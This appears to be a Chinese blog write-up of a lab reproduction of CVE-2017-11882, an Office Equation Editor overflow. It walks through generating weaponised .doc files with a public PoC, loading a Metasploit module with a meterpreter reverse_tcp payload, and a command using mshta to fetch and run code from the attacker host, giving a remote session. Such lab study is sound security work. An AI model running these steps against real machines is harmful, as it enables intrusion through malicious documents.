CVE-2017-11882漏洞复现


此漏洞是由Office软件里面的公式编辑器造成的,由于编辑器进程没有对名称长度进行校验,导致缓冲区溢出,攻击者通过构造特殊的字符,可以实现任意代码执行。

这是我在实验室学习渗透测试所做的第十七个漏洞复现,用时约两小时。参考博客中给出的工具均已失效,只好自己寻找。

影响版本

  • office 2003
  • office 2007
  • office 2010
  • office 2013
  • office 2016

实验环境

攻击机:Kali Linux 192.168.227.128

靶机:Windows 7 192.168.227.135, office 2016

复现过程

1. 靶机安装office

2. 攻击机下载poc

git clone https://github.com/starnightcyber/CVE-2017-11882.git

3. 运行POC

# 弹出计算器
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test1.doc
# 弹出任务管理器
python Command_CVE-2017-11882.py -c "cmd.exe /c taskmgr.exe" -o test2.doc

可以看到已经多了两个doc文件,将这两个doc文件复制到win7虚拟机,使用word 2016依次打开这两个文件,分别自动弹出了计算器和任务管理器。

4. 生成漏洞doc文件获取shell

尽管msf5当中已有关于该漏洞的攻击模块,但我没太搞明白那个怎么用,所以就用了poc中提供的攻击模块。

将刚才git下来的文件PS-shell.rb重命名为CVE_2017_11882.rb,移动到/usr/share/metasploit-framework/modules/exploits/windows/smb目录下,然后打开msf,先使用reload_all命令重新加载所有模块,然后使用我们刚才加入的模块进行攻击。

msfconsole
reload_all
use exploit/windows/smb/CVE_2017_11882
set payload windows/meterpreter/reverse_tcp
set lhost 攻击机IP
set uripath abc
exploit

然后在另一个终端中再次运行刚才的命令创建一个doc文件。

python Command_CVE-2017-11882.py -c "mshta http://192.168.227.128:8080/abc" -o test3.doc

将创建后的test3.doc文件拷贝到靶机,或者靶机访问httpL//攻击机IP:8080/abc/test3.doc下载该文件。完成后打开,返回攻击机,可以看到已经获取到了session,攻击成功。

参考链接


文章作者: 恰醋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 恰醋 !
评论
 上一篇
CVE-2020-0796永恒之黑漏洞复现 CVE-2020-0796永恒之黑漏洞复现
本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
2020-10-08
下一篇 
CVE-2020-7471 Django SQL注入漏洞复现 CVE-2020-7471 Django SQL注入漏洞复现
2020年2月3日,Django 官方发布安全通告公布了一个通过StringAgg(分隔符)实现利用的潜在SQL注入漏洞(CVE-2020-7471)。
2020-10-04
  目录